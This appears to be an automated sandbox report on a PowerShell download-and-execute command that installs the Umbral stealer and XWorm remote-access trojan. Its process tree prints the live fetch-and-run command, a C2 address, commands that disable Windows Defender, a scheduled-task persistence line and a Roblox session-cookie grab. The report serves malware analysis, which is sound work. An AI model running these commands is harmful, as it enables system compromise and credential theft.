umbral | hxxp://powershell "irm rentry[.]co/6ess6r2x/raw | iex"

Analysis

max time kernel
140s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
31-08-2024 21:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://powershell "irm rentry.co/6ess6r2x/raw | iex"

Score

10^/10

umbral xworm credential_access discovery execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

japanese-longer.gl.at.ply.gg:28461

Mutex

MDePCKGcpJNC9Aji

Attributes

Install_directory
%AppData%
install_file
XClient.exe

aes.plain

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000c00000001db0b-198.dat	family_umbral
behavioral1/memory/5884-207-0x000002BE715B0000-0x000002BE715F0000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000500000000072b-187.dat	family_xworm
behavioral1/memory/4140-203-0x0000000000E80000-0x0000000000EB8000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 4 IoCs

flow	pid	Process
88	1648	powershell.exe
89	1648	powershell.exe
91	1648	powershell.exe
94	1648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe
5844	powershell.exe
836	powershell.exe
836	powershell.exe
2132	powershell.exe
5484	powershell.exe
3472	powershell.exe
3520	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Grabb.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	Cloner.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	payload.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	Cloner.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	Cloner.exe

Executes dropped EXE 3 IoCs

pid	Process
3392	payload.exe
4140	Cloner.exe
5884	Grabb.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	Cloner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
93	raw.githubusercontent.com
94	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
100	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3008	cmd.exe
512	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4984	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
512	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6076	schtasks.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
2172	msedge.exe
2172	msedge.exe
5200	msedge.exe
5200	msedge.exe
1968	identity_helper.exe
1968	identity_helper.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
5176	msedge.exe
5176	msedge.exe
5176	msedge.exe
5176	msedge.exe
5884	Grabb.exe
5884	Grabb.exe
836	powershell.exe
836	powershell.exe
836	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
5844	powershell.exe
5844	powershell.exe
5844	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
2132	powershell.exe
2132	powershell.exe
2132	powershell.exe
5484	powershell.exe
5484	powershell.exe
5484	powershell.exe
3472	powershell.exe
3472	powershell.exe
3472	powershell.exe
3520	powershell.exe
3520	powershell.exe
3520	powershell.exe
836	powershell.exe
836	powershell.exe
836	powershell.exe
4140	Cloner.exe
4140	Cloner.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	4140	Cloner.exe
Token: SeDebugPrivilege	5884	Grabb.exe
Token: SeIncreaseQuotaPrivilege	6048	wmic.exe
Token: SeSecurityPrivilege	6048	wmic.exe
Token: SeTakeOwnershipPrivilege	6048	wmic.exe
Token: SeLoadDriverPrivilege	6048	wmic.exe
Token: SeSystemProfilePrivilege	6048	wmic.exe
Token: SeSystemtimePrivilege	6048	wmic.exe
Token: SeProfSingleProcessPrivilege	6048	wmic.exe
Token: SeIncBasePriorityPrivilege	6048	wmic.exe
Token: SeCreatePagefilePrivilege	6048	wmic.exe
Token: SeBackupPrivilege	6048	wmic.exe
Token: SeRestorePrivilege	6048	wmic.exe
Token: SeShutdownPrivilege	6048	wmic.exe
Token: SeDebugPrivilege	6048	wmic.exe
Token: SeSystemEnvironmentPrivilege	6048	wmic.exe
Token: SeRemoteShutdownPrivilege	6048	wmic.exe
Token: SeUndockPrivilege	6048	wmic.exe
Token: SeManageVolumePrivilege	6048	wmic.exe
Token: 33	6048	wmic.exe
Token: 34	6048	wmic.exe
Token: 35	6048	wmic.exe
Token: 36	6048	wmic.exe
Token: SeIncreaseQuotaPrivilege	6048	wmic.exe
Token: SeSecurityPrivilege	6048	wmic.exe
Token: SeTakeOwnershipPrivilege	6048	wmic.exe
Token: SeLoadDriverPrivilege	6048	wmic.exe
Token: SeSystemProfilePrivilege	6048	wmic.exe
Token: SeSystemtimePrivilege	6048	wmic.exe
Token: SeProfSingleProcessPrivilege	6048	wmic.exe
Token: SeIncBasePriorityPrivilege	6048	wmic.exe
Token: SeCreatePagefilePrivilege	6048	wmic.exe
Token: SeBackupPrivilege	6048	wmic.exe
Token: SeRestorePrivilege	6048	wmic.exe
Token: SeShutdownPrivilege	6048	wmic.exe
Token: SeDebugPrivilege	6048	wmic.exe
Token: SeSystemEnvironmentPrivilege	6048	wmic.exe
Token: SeRemoteShutdownPrivilege	6048	wmic.exe
Token: SeUndockPrivilege	6048	wmic.exe
Token: SeManageVolumePrivilege	6048	wmic.exe
Token: 33	6048	wmic.exe
Token: 34	6048	wmic.exe
Token: 35	6048	wmic.exe
Token: 36	6048	wmic.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	5484	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeIncreaseQuotaPrivilege	5328	wmic.exe
Token: SeSecurityPrivilege	5328	wmic.exe
Token: SeTakeOwnershipPrivilege	5328	wmic.exe
Token: SeLoadDriverPrivilege	5328	wmic.exe
Token: SeSystemProfilePrivilege	5328	wmic.exe
Token: SeSystemtimePrivilege	5328	wmic.exe
Token: SeProfSingleProcessPrivilege	5328	wmic.exe
Token: SeIncBasePriorityPrivilege	5328	wmic.exe
Token: SeCreatePagefilePrivilege	5328	wmic.exe
Token: SeBackupPrivilege	5328	wmic.exe
Token: SeRestorePrivilege	5328	wmic.exe
Token: SeShutdownPrivilege	5328	wmic.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe
5200	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4140	Cloner.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5200 wrote to memory of 5496	5200	msedge.exe	87
PID 5200 wrote to memory of 5496	5200	msedge.exe	87
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 5948	5200	msedge.exe	88
PID 5200 wrote to memory of 2172	5200	msedge.exe	89
PID 5200 wrote to memory of 2172	5200	msedge.exe	89
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90
PID 5200 wrote to memory of 4684	5200	msedge.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1380	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://powershell "irm rentry.co/6ess6r2x/raw | iex"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8a8d346f8,0x7ff8a8d34708,0x7ff8a8d34718
  2⤵
  PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
  2⤵
  PID:5948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
  2⤵
  PID:4684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
  2⤵
  PID:6096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
  2⤵
  PID:5880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3980 /prefetch:1
  2⤵
  PID:6108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
  2⤵
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3980 /prefetch:8
  2⤵
  PID:1364
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3980 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3576 /prefetch:1
  2⤵
  PID:3612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2280 /prefetch:1
  2⤵
  PID:3232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1
  2⤵
  PID:3464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5500 /prefetch:8
  2⤵
  PID:3960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3716 /prefetch:1
  2⤵
  PID:5156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
  2⤵
  PID:5820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5440 /prefetch:8
  2⤵
  PID:1020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,7389695870245415646,1209155965492248292,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6140 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5176

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1604

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2324

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:2924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "irm rentry.co/6ess6r2x/raw | iex"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- - C:\Users\Admin\AppData\Local\Temp\payload.exe
    "C:\Users\Admin\AppData\Local\Temp\payload.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3392
  - - C:\Users\Admin\AppData\Local\Temp\Cloner.exe
      "C:\Users\Admin\AppData\Local\Temp\Cloner.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4140
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cloner.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Cloner.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3472
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3520
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6076
  - - C:\Users\Admin\AppData\Local\Temp\Grabb.exe
      "C:\Users\Admin\AppData\Local\Temp\Grabb.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5884
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6048
    - - C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Grabb.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1380
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Grabb.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4796
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3460
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
